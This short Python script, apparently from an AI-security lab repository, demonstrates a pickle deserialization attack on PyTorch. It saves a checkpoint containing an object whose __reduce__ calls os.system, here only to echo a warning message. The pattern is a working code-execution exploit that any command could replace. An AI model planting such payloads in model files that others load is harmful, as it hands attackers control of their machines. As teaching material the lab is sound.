Files
ai-sec-labs/lab2/good_model.py
2026-07-29 16:50:22 +03:00

19 lines
491 B
Python

#!/usr/bin/env python3
import torch
import os
class MaliciousPayload:
def __reduce__(self):
command = 'echo "\n[SECURITY WARNING] Arbitrary code executed successfully!\n"'
return (os.system, (command,))
dummy_model_state = {
"weight": torch.randn(3, 3),
"bias": torch.randn(3),
"exploit": MaliciousPayload()
}
checkpoint_path = "compromised_model.pt"
torch.save(dummy_model_state, checkpoint_path)
print(f"Malicious checkpoint saved to {checkpoint_path}")